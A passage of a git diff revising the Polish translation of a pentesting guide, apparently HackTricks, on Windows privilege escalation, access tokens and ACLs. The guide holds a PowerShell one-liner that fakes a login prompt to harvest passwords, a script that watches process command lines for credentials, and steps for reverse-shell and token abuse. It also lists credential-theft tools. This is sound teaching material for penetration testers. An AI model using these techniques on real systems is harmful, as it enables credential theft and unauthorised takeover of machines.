klucza, mogły być odszyfrowane przez każdego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień. +Funkcja, która wcześniej była dostępna, pozwalała na wdrażanie niestandardowych lokalnych kont administratorów na grupie maszyn za pomocą Preferencji Zasad Grupy (GPP). Jednak ta metoda miała znaczące luki w zabezpieczeniach. Po pierwsze, Obiekty Zasad Grupy (GPO), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, szyfrowane za pomocą AES256 przy użyciu publicznie udokumentowanego domyślnego klucza, mogły być odszyfrowane przez każdego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień. Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co ułatwia identyfikację i usunięcie tej luki w zabezpieczeniach. @@ -1054,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Prośba o dane uwierzytelniające -Możesz zawsze **poprosić użytkownika o wprowadzenie jego danych uwierzytelniających lub nawet danych uwierzytelniających innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **bezpośrednie** pytanie klienta o **dane uwierzytelniające** jest naprawdę **ryzykowne**): +Możesz zawsze **poprosić użytkownika o podanie jego danych uwierzytelniających lub nawet danych uwierzytelniających innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **bezpośrednie** pytanie klienta o **dane uwierzytelniające** jest naprawdę **ryzykowne**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1172,7 +1170,7 @@ Narzędzia do ekstrakcji haseł z przeglądarek: Klasy i interfejsy COM są definiowane w rejestrze pod **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** oraz **HKEY\_**_**CLASSES\_**_**ROOT\Interface** odpowiednio. Ten rejestr jest tworzony przez połączenie **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** -Wewnątrz CLSID-ów tego rejestru możesz znaleźć podrzędny rejestr **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość nazwaną **ThreadingModel**, która może być **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny wątek). +Wewnątrz CLSID-ów tego rejestru możesz znaleźć podrzędny rejestr **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość o nazwie **ThreadingModel**, która może być **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny wątek). ![](<../../images/image (729).png>) @@ -1221,17 +1219,17 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ## Leaked Handlers Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **tworzy również nowy proces** (`CreateProcess()`) **z niskimi uprawnieniami, ale dziedziczy wszystkie otwarte uchwyty głównego procesu**.\ -Jeśli masz **pełny dostęp do procesu z niskimi uprawnieniami**, możesz przejąć **otwarty uchwyt do procesu z uprawnieniami**, który został stworzony za pomocą `OpenProcess()` i **wstrzyknąć shellcode**.\ -[Przeczytaj ten przykład, aby uzyskać więcej informacji na temat **jak wykrywać i wykorzystywać tę lukę**.](leaked-handle-exploitation.md)\ -[Przeczytaj ten **inny post, aby uzyskać bardziej szczegółowe wyjaśnienie, jak testować i nadużywać więcej otwartych uchwytów procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko pełnym dostępem)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Wtedy, jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przejąć **otwarty uchwyt do procesu z uprawnieniami**, który został stworzony za pomocą `OpenProcess()` i **wstrzyknąć shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation Segmenty pamięci współdzielonej, określane jako **rury**, umożliwiają komunikację procesów i transfer danych. -Windows oferuje funkcję zwaną **Named Pipes**, która pozwala niepowiązanym procesom dzielić się danymi, nawet przez różne sieci. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako **serwer rury nazwanej** i **klient rury nazwanej**. +Windows oferuje funkcję zwaną **Named Pipes**, która pozwala niepowiązanym procesom na dzielenie się danymi, nawet w różnych sieciach. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako **serwer rury nazwanej** i **klient rury nazwanej**. -Gdy dane są wysyłane przez rurę przez **klienta**, **serwer**, który skonfigurował rurę, ma możliwość **przyjęcia tożsamości** **klienta**, zakładając, że ma niezbędne **prawa SeImpersonate**. Identyfikacja **uprzywilejowanego procesu**, który komunikuje się przez rurę, którego możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy tylko wchodzi w interakcję z rurą, którą utworzyłeś. Instrukcje dotyczące przeprowadzenia takiego ataku można znaleźć w pomocnych przewodnikach [**tutaj**](named-pipe-client-impersonation.md) i [**tutaj**](./#from-high-integrity-to-system). +Gdy dane są wysyłane przez rurę przez **klienta**, **serwer**, który skonfigurował rurę, ma możliwość **przyjęcia tożsamości** **klienta**, zakładając, że ma niezbędne **prawa SeImpersonate**. Identyfikacja **uprzywilejowanego procesu**, który komunikuje się przez rurę, którego możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy tylko wchodzi w interakcję z rurą, którą utworzyłeś. W celu uzyskania instrukcji dotyczących przeprowadzenia takiego ataku, pomocne przewodniki można znaleźć [**here**](named-pipe-client-impersonation.md) i [**here**](./#from-high-integrity-to-system). Następujące narzędzie pozwala na **przechwycenie komunikacji rury nazwanej za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala na wylistowanie i zobaczenie wszystkich rur w celu znalezienia privesc** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) @@ -1239,7 +1237,7 @@ Następujące narzędzie pozwala na **przechwycenie komunikacji rury nazwanej za ### **Monitoring Command Lines for passwords** -Podczas uzyskiwania powłoki jako użytkownik mogą być zaplanowane zadania lub inne procesy, które **przekazują dane uwierzytelniające w wierszu poleceń**. Poniższy skrypt przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim stanem, wypisując wszelkie różnice. +Gdy uzyskujesz powłokę jako użytkownik, mogą być zaplanowane zadania lub inne procesy, które **przekazują dane uwierzytelniające w wierszu poleceń**. Poniższy skrypt przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim stanem, wypisując wszelkie różnice. ```powershell while($true) { @@ -1326,8 +1324,8 @@ sc start newservicename ``` ### AlwaysInstallElevated -Z procesu o wysokiej integralności możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** reverse shell używając opakowania _**.msi**_.\ -[Więcej informacji na temat kluczy rejestru i jak zainstalować pakiet _.msi_ tutaj.](./#alwaysinstallelevated) +Z procesu o wysokiej integralności możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** powłokę odwrotną za pomocą opakowania _**.msi**_.\ +[Więcej informacji na temat zaangażowanych kluczy rejestru i jak zainstalować pakiet _.msi_ tutaj.](./#alwaysinstallelevated) ### Wysokie uprawnienia + SeImpersonate do System @@ -1341,13 +1339,13 @@ Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jak ### **Named Pipes** -Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie mógł **imponować tokenem** klienta rury (usługi), uzyskując uprawnienia SYSTEM.\ +Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę, używając uprawnienia **`SeImpersonate`**, będzie mógł **imponować tokenem** klienta rury (usługi), uzyskując uprawnienia SYSTEM.\ Jeśli chcesz [**dowiedzieć się więcej o nazwanych rurach, powinieneś to przeczytać**](./#named-pipe-client-impersonation).\ -Jeśli chcesz przeczytać przykład [**jak przejść z wysokiej integralności do Systemu używając nazwanych rur, powinieneś to przeczytać**](from-high-integrity-to-system-with-name-pipes.md). +Jeśli chcesz przeczytać przykład [**jak przejść z wysokiej integralności do Systemu, używając nazwanych rur, powinieneś to przeczytać**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a co więcej, jest **dużo łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\ +Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny w tego rodzaju eskalacji uprawnień, a co więcej, jest **dużo łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\ **Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/)**.** ### **Z Administratora lub Usługi Sieciowej do Systemu** @@ -1377,17 +1375,17 @@ Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozprzestrzenia zebrane hasła w domenie**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to narzędzie do spoofingu ADIDNS/LLMNR/mDNS/NBNS i man-in-the-middle w PowerShell.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja privesc w Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Szukaj znanych luk w privesc (DEPRECATED dla Watson)\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Wyszukaj znane luki w privesc (DEPRECATED dla Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne kontrole **(Wymaga praw administratora)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Szukaj znanych luk w privesc (wymaga kompilacji przy użyciu VisualStudio) ([**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) **(**[**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Wyszukaj znane luki w privesc (musi być skompilowane przy użyciu VisualStudio) ([**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (musi być skompilowane) **(**[**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Wyciąga dane uwierzytelniające z wielu programów (wstępnie skompilowane exe w github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp do C#**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Sprawdź błędne konfiguracje (wykonywalny plik wstępnie skompilowany w github). Nie zalecane. Nie działa dobrze w Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdź możliwe błędne konfiguracje (exe z pythona). Nie zalecane. Nie działa dobrze w Win10. +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdź możliwe błędne konfiguracje (exe z Pythona). Nie zalecane. Nie działa dobrze w Win10. **Bat** @@ -1402,7 +1400,7 @@ Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający _multi/recon/local_exploit_suggestor_ -Musisz skompilować projekt używając odpowiedniej wersji .NET ([zobacz to](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Aby zobaczyć zainstalowaną wersję .NET na hoście ofiary, możesz to zrobić: +Musisz skompilować projekt, używając odpowiedniej wersji .NET ([zobacz to](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Aby zobaczyć zainstalowaną wersję .NET na zainfekowanym hoście, możesz to zrobić: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md index 9c3ef5108..02e9ab699 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -4,7 +4,7 @@ ## Access Tokens -Każdy **użytkownik zalogowany** do systemu **posiada token dostępu z informacjami o zabezpieczeniach** dla tej sesji logowania. System tworzy token dostępu, gdy użytkownik się loguje. **Każdy proces wykonywany** w imieniu użytkownika **ma kopię tokena dostępu**. Token identyfikuje użytkownika, grupy użytkownika oraz uprawnienia użytkownika. Token zawiera również SID logowania (Identifikator zabezpieczeń), który identyfikuje bieżącą sesję logowania. +Każdy **użytkownik zalogowany** do systemu **posiada token dostępu z informacjami o zabezpieczeniach** dla tej sesji logowania. System tworzy token dostępu, gdy użytkownik się loguje. **Każdy proces wykonywany** w imieniu użytkownika **ma kopię tokena dostępu**. Token identyfikuje użytkownika, grupy użytkownika oraz uprawnienia użytkownika. Token zawiera również SID logowania (Identifikator Zabezpieczeń), który identyfikuje bieżącą sesję logowania. Możesz zobaczyć te informacje, wykonując `whoami /all` ``` @@ -61,7 +61,7 @@ Jeśli chcesz [**dowiedzieć się więcej o UAC, przeczytaj tę stronę**](../au ### Uwierzytelnianie użytkownika -Jeśli masz **ważne dane uwierzytelniające innego użytkownika**, możesz **utworzyć** **nową sesję logowania** z tymi danymi: +Jeśli masz **ważne dane logowania innego użytkownika**, możesz **utworzyć** **nową sesję logowania** z tymi danymi: ``` runas /user:domain\username cmd.exe ``` @@ -70,26 +70,26 @@ Możesz uruchomić proces, który **używa różnych poświadczeń do uzyskiwani ``` runas /user:domain\username /netonly cmd.exe ``` -To jest przydatne, jeśli masz użyteczne dane uwierzytelniające do uzyskania dostępu do obiektów w sieci, ale te dane uwierzytelniające nie są ważne w bieżącym hoście, ponieważ będą używane tylko w sieci (w bieżącym hoście będą używane uprawnienia twojego aktualnego użytkownika). +To jest przydatne, jeśli masz użyteczne dane uwierzytelniające do uzyskania dostępu do obiektów w sieci, ale te dane uwierzytelniające nie są ważne w bieżącym hoście, ponieważ będą używane tylko w sieci (w bieżącym hoście będą używane uprawnienia bieżącego użytkownika). ### Typy tokenów Dostępne są dwa typy tokenów: -- **Primary Token**: Służy jako reprezentacja poświadczeń bezpieczeństwa procesu. Tworzenie i przypisywanie tokenów głównych do procesów to działania wymagające podwyższonych uprawnień, co podkreśla zasadę separacji uprawnień. Zazwyczaj usługa uwierzytelniania jest odpowiedzialna za tworzenie tokenów, podczas gdy usługa logowania zajmuje się ich przypisaniem do powłoki systemu operacyjnego użytkownika. Warto zauważyć, że procesy dziedziczą token główny swojego procesu macierzystego w momencie tworzenia. +- **Primary Token**: Służy jako reprezentacja poświadczeń bezpieczeństwa procesu. Tworzenie i przypisywanie tokenów głównych do procesów to działania wymagające podwyższonych uprawnień, co podkreśla zasadę separacji uprawnień. Zazwyczaj usługa uwierzytelniania jest odpowiedzialna za tworzenie tokenów, podczas gdy usługa logowania zajmuje się ich przypisaniem do powłoki systemu operacyjnego użytkownika. Warto zauważyć, że procesy dziedziczą główny token swojego procesu macierzystego w momencie tworzenia. - **Impersonation Token**: Umożliwia aplikacji serwerowej tymczasowe przyjęcie tożsamości klienta w celu uzyskania dostępu do zabezpieczonych obiektów. Mechanizm ten jest podzielony na cztery poziomy działania: - **Anonymous**: Przyznaje dostęp serwera podobny do tego, który ma nieznany użytkownik. -- **Identification**: Umożliwia serwerowi weryfikację tożsamości klienta bez wykorzystania jej do uzyskania dostępu do obiektów. +- **Identification**: Pozwala serwerowi na weryfikację tożsamości klienta bez wykorzystania jej do uzyskania dostępu do obiektów. - **Impersonation**: Umożliwia serwerowi działanie pod tożsamością klienta. - **Delegation**: Podobnie jak Impersonation, ale obejmuje możliwość rozszerzenia tej tożsamości na zdalne systemy, z którymi serwer wchodzi w interakcje, zapewniając zachowanie poświadczeń. #### Impersonate Tokens -Korzystając z modułu _**incognito**_ w metasploit, jeśli masz wystarczające uprawnienia, możesz łatwo **wylistować** i **przyjąć** inne **tokeny**. Może to być przydatne do wykonywania **działań tak, jakbyś był innym użytkownikiem**. Możesz również **eskalować uprawnienia** za pomocą tej techniki. +Używając modułu _**incognito**_ w metasploit, jeśli masz wystarczające uprawnienia, możesz łatwo **wylistować** i **przyjąć** inne **tokeny**. Może to być przydatne do wykonywania **działań, jakbyś był innym użytkownikiem**. Możesz również **podnieść uprawnienia** za pomocą tej techniki. ### Token Privileges -Dowiedz się, które **uprawnienia tokenów mogą być nadużywane do eskalacji uprawnień:** +Dowiedz się, które **uprawnienia tokenów mogą być nadużywane do podnoszenia uprawnień:** {{#ref}} privilege-escalation-abusing-tokens.md diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md index 9923ae8be..5fb7612c8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md +++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md @@ -4,41 +4,41 @@ ## **Lista Kontroli Dostępu (ACL)** -Lista Kontroli Dostępu (ACL) składa się z uporządkowanego zestawu Wpisów Kontroli Dostępu (ACEs), które określają zabezpieczenia dla obiektu i jego właściwości. W istocie, ACL definiuje, które działania przez które podmioty bezpieczeństwa (użytkowników lub grupy) są dozwolone lub zabronione na danym obiekcie. +Lista Kontroli Dostępu (ACL) składa się z uporządkowanego zestawu wpisów Kontroli Dostępu (ACE), które określają zabezpieczenia dla obiektu i jego właściwości. W istocie, ACL definiuje, które działania przez które podmioty bezpieczeństwa (użytkowników lub grupy) są dozwolone lub zabronione na danym obiekcie. Istnieją dwa typy ACL: -- **Lista Kontroli Dostępu na Własny Użytek (DACL):** Określa, którzy użytkownicy i grupy mają lub nie mają dostępu do obiektu. +- **Lista Kontroli Dostępu na Żądanie (DACL):** Określa, którzy użytkownicy i grupy mają lub nie mają dostępu do obiektu. - **Systemowa Lista Kontroli Dostępu (SACL):** Reguluje audyt prób dostępu do obiektu. -Proces uzyskiwania dostępu do pliku polega na tym, że system sprawdza opis zabezpieczeń obiektu w porównaniu do tokena dostępu użytkownika, aby określić, czy dostęp powinien być przyznany oraz w jakim zakresie, na podstawie ACEs. +Proces uzyskiwania dostępu do pliku polega na tym, że system sprawdza opis zabezpieczeń obiektu w porównaniu do tokena dostępu użytkownika, aby określić, czy dostęp powinien być przyznany oraz w jakim zakresie, na podstawie ACE. -### **Kluczowe Komponenty** +### **Kluczowe Składniki** -- **DACL:** Zawiera ACEs, które przyznają lub odmawiają uprawnień dostępu użytkownikom i grupom do obiektu. To zasadniczo główna ACL, która dyktuje prawa dostępu. -- **SACL:** Używana do audytowania dostępu do obiektów, gdzie ACEs definiują rodzaje dostępu, które mają być rejestrowane w Dzienniku Zdarzeń Zabezpieczeń. Może to być nieocenione w wykrywaniu nieautoryzowanych prób dostępu lub rozwiązywaniu problemów z dostępem. +- **DACL:** Zawiera ACE, które przyznają lub odmawiają uprawnień dostępu użytkownikom i grupom do obiektu. To zasadniczo główna ACL, która dyktuje prawa dostępu. +- **SACL:** Używana do audytowania dostępu do obiektów, gdzie ACE definiują rodzaje dostępu, które mają być rejestrowane w Dzienniku Zdarzeń Zabezpieczeń. Może to być nieocenione w wykrywaniu nieautoryzowanych prób dostępu lub rozwiązywaniu problemów z dostępem. -### **Interakcja Systemu z ACLs** +### **Interakcja Systemu z ACL** Każda sesja użytkownika jest powiązana z tokenem dostępu, który zawiera informacje o zabezpieczeniach istotne dla tej sesji, w tym tożsamości użytkownika, grupy i uprawnienia. Ten token zawiera również SID logowania, który unikalnie identyfikuje sesję. -Lokalna Władza Bezpieczeństwa (LSASS) przetwarza żądania dostępu do obiektów, badając DACL w poszukiwaniu ACEs, które pasują do podmiotu bezpieczeństwa próbującego uzyskać dostęp. Dostęp jest natychmiast przyznawany, jeśli nie znaleziono odpowiednich ACEs. W przeciwnym razie, LSASS porównuje ACEs z SID podmiotu bezpieczeństwa w tokenie dostępu, aby określić uprawnienia dostępu. +Lokalna Władza Bezpieczeństwa (LSASS) przetwarza żądania dostępu do obiektów, badając DACL w poszukiwaniu ACE, które pasują do podmiotu bezpieczeństwa próbującego uzyskać dostęp. Dostęp jest natychmiast przyznawany, jeśli nie znaleziono odpowiednich ACE. W przeciwnym razie, LSASS porównuje ACE z SID podmiotu bezpieczeństwa w tokenie dostępu, aby określić uprawnienia dostępu. ### **Podsumowany Proces** -- **ACLs:** Definiują uprawnienia dostępu poprzez DACLs i zasady audytu poprzez SACLs. +- **ACL:** Definiują uprawnienia dostępu poprzez DACL i zasady audytu poprzez SACL. - **Token Dostępu:** Zawiera informacje o użytkowniku, grupie i uprawnieniach dla sesji. -- **Decyzja o Dostępie:** Podejmowana poprzez porównanie ACEs DACL z tokenem dostępu; SACLs są używane do audytu. +- **Decyzja o Dostępie:** Podejmowana poprzez porównanie ACE DACL z tokenem dostępu; SACL są używane do audytu. ### ACEs -Istnieją **trzy główne typy Wpisów Kontroli Dostępu (ACEs)**: +Istnieją **trzy główne typy Wpisów Kontroli Dostępu (ACE)**: - **ACE Odrzucony Dostęp:** Ten ACE wyraźnie odmawia dostępu do obiektu dla określonych użytkowników lub grup (w DACL). - **ACE Dozwolony Dostęp:** Ten ACE wyraźnie przyznaje dostęp do obiektu dla określonych użytkowników lub grup (w DACL). - **ACE Audytu Systemowego:** Umieszczony w Systemowej Liście Kontroli Dostępu (SACL), ten ACE jest odpowiedzialny za generowanie dzienników audytu po próbach dostępu do obiektu przez użytkowników lub grupy. Dokumentuje, czy dostęp został przyznany, czy odrzucony oraz charakter dostępu. -Każdy ACE ma **cztery kluczowe komponenty**: +Każdy ACE ma **cztery kluczowe składniki**: 1. **Identyfikator Zabezpieczeń (SID)** użytkownika lub grupy (lub ich nazwa główna w graficznej reprezentacji). 2. **Flaga**, która identyfikuje typ ACE (odmowa dostępu, dozwolony lub audyt systemowy). @@ -49,13 +49,13 @@ Określenie dostępu odbywa się poprzez sekwencyjne badanie każdego ACE, aż d - **ACE Odrzucony Dostęp** wyraźnie odmawia żądanych praw zaufanemu podmiotowi zidentyfikowanemu w tokenie dostępu. - **ACE Dozwolony Dostęp** wyraźnie przyznaje wszystkie żądane prawa zaufanemu podmiotowi w tokenie dostępu. -- Po sprawdzeniu wszystkich ACEs, jeśli jakiekolwiek żądane prawo **nie zostało wyraźnie przyznane**, dostęp jest domyślnie **odmówiony**. +- Po sprawdzeniu wszystkich ACE, jeśli jakiekolwiek żądane prawo **nie zostało wyraźnie przyznane**, dostęp jest domyślnie **odmówiony**. ### Kolejność ACEs Sposób, w jaki **ACEs** (zasady mówiące, kto może lub nie może uzyskać dostęp do czegoś) są umieszczane na liście zwanej **DACL**, jest bardzo ważny. Dzieje się tak, ponieważ gdy system przyznaje lub odmawia dostępu na podstawie tych zasad, przestaje patrzeć na resztę. -Istnieje najlepszy sposób organizacji tych ACEs, zwany **"kolejnością kanoniczną."** Ta metoda pomaga zapewnić, że wszystko działa płynnie i sprawiedliwie. Oto jak to wygląda w systemach takich jak **Windows 2000** i **Windows Server 2003**: +Istnieje najlepszy sposób organizacji tych ACE, zwany **"kolejnością kanoniczną."** Ta metoda pomaga zapewnić, że wszystko działa płynnie i sprawiedliwie. Oto jak to wygląda w systemach takich jak **Windows 2000** i **Windows Server 2003**: - Najpierw umieść wszystkie zasady, które są **specjalnie dla tego elementu**, przed tymi, które pochodzą z innego miejsca, jak folder nadrzędny. - W tych specyficznych zasadach umieść te, które mówią **"nie" (odmowa)** przed tymi, które mówią **"tak" (zezwolenie)**. @@ -94,53 +94,53 @@ A na koniec mamy SACL w zakładce Audyt: ### Wyjaśnienie Kontroli Dostępu w Uproszczony Sposób -Zarządzając dostępem do zasobów, takich jak folder, używamy list i zasad znanych jako Listy Kontroli Dostępu (ACL) i Wpisy Kontroli Dostępu (ACEs). Te definiują, kto może lub nie może uzyskać dostęp do określonych danych. +Zarządzając dostępem do zasobów, takich jak folder, używamy list i zasad znanych jako Listy Kontroli Dostępu (ACL) i Wpisy Kontroli Dostępu (ACE). Te definiują, kto może lub nie może uzyskać dostęp do określonych danych. #### Odrzucenie Dostępu dla Konkretnej Grupy -Wyobraź sobie, że masz folder o nazwie Koszt, i chcesz, aby wszyscy mieli do niego dostęp, z wyjątkiem zespołu marketingowego. Poprzez poprawne ustawienie zasad możemy zapewnić, że zespół marketingowy jest wyraźnie pozbawiony dostępu przed zezwoleniem wszystkim innym. Robimy to, umieszczając zasadę odmawiającą dostępu zespołowi marketingowemu przed zasadą, która zezwala na dostęp dla wszystkich. +Wyobraź sobie, że masz folder o nazwie Koszt, i chcesz, aby wszyscy mieli do niego dostęp, z wyjątkiem zespołu marketingowego. Poprzez poprawne ustawienie zasad, możemy zapewnić, że zespół marketingowy jest wyraźnie pozbawiony dostępu przed zezwoleniem wszystkim innym. Robimy to, umieszczając zasadę odmawiającą dostępu zespołowi marketingowemu przed zasadą, która zezwala na dostęp dla wszystkich. #### Zezwolenie na Dostęp dla Konkretnego Członka Odrzuconej Grupy -Powiedzmy, że Bob, dyrektor marketingu, potrzebuje dostępu do folderu Koszt, mimo że zespół marketingowy generalnie nie powinien mieć dostępu. Możemy dodać konkretną zasadę (ACE) dla Boba, która przyznaje mu dostęp, i umieścić ją przed zasadą, która odmawia dostępu zespołowi marketingowemu. W ten sposób Bob uzyskuje dostęp pomimo ogólnego ograniczenia dla jego zespołu. +Powiedzmy, że Bob, dyrektor marketingu, potrzebuje dostępu do folderu Koszt, mimo że zespół marketingowy generalnie nie powinien mieć dostępu. Możemy dodać konkretną zasadę (ACE) dla Boba, która przyznaje mu dostęp, i umieścić ją przed zasadą, która odmawia dostępu zespołowi marketingowemu. W ten sposób Bob uzyskuje dostęp mimo ogólnego ograniczenia dla jego zespołu. #### Zrozumienie Wpisów Kontroli Dostępu -ACEs to indywidualne zasady w ACL. Identyfikują użytkowników lub grupy, określają, jaki dostęp jest dozwolony lub odrzucony, i ustalają, jak te zasady mają zastosowanie do elementów podrzędnych (dziedziczenie). Istnieją dwa główne typy ACEs: +ACEs to indywidualne zasady w ACL. Identyfikują użytkowników lub grupy, określają, jaki dostęp jest dozwolony lub odrzucony, i ustalają, jak te zasady mają zastosowanie do elementów podrzędnych (dziedziczenie). Istnieją dwa główne typy ACE: -- **Ogólne ACEs:** Te mają zastosowanie szeroko, wpływając na wszystkie typy obiektów lub rozróżniając tylko między kontenerami (takimi jak foldery) a nie-kontenerami (takimi jak pliki). Na przykład zasada, która pozwala użytkownikom zobaczyć zawartość folderu, ale nie uzyskać dostępu do plików w nim. -- **Specyficzne dla Obiektu ACEs:** Te zapewniają bardziej precyzyjną kontrolę, pozwalając na ustawienie zasad dla konkretnych typów obiektów lub nawet pojedynczych właściwości w obiekcie. Na przykład, w katalogu użytkowników zasada może pozwolić użytkownikowi zaktualizować swój numer telefonu, ale nie godziny logowania. +- **Ogólne ACE:** Te mają zastosowanie szeroko, wpływając na wszystkie typy obiektów lub rozróżniając tylko między kontenerami (jak foldery) a nie-kontenerami (jak pliki). Na przykład zasada, która pozwala użytkownikom zobaczyć zawartość folderu, ale nie uzyskać dostępu do plików w nim. +- **Specyficzne dla Obiektu ACE:** Te zapewniają bardziej precyzyjną kontrolę, pozwalając na ustawienie zasad dla konkretnych typów obiektów lub nawet poszczególnych właściwości w obiekcie. Na przykład, w katalogu użytkowników zasada może pozwolić użytkownikowi zaktualizować swój numer telefonu, ale nie godziny logowania. Każdy ACE zawiera ważne informacje, 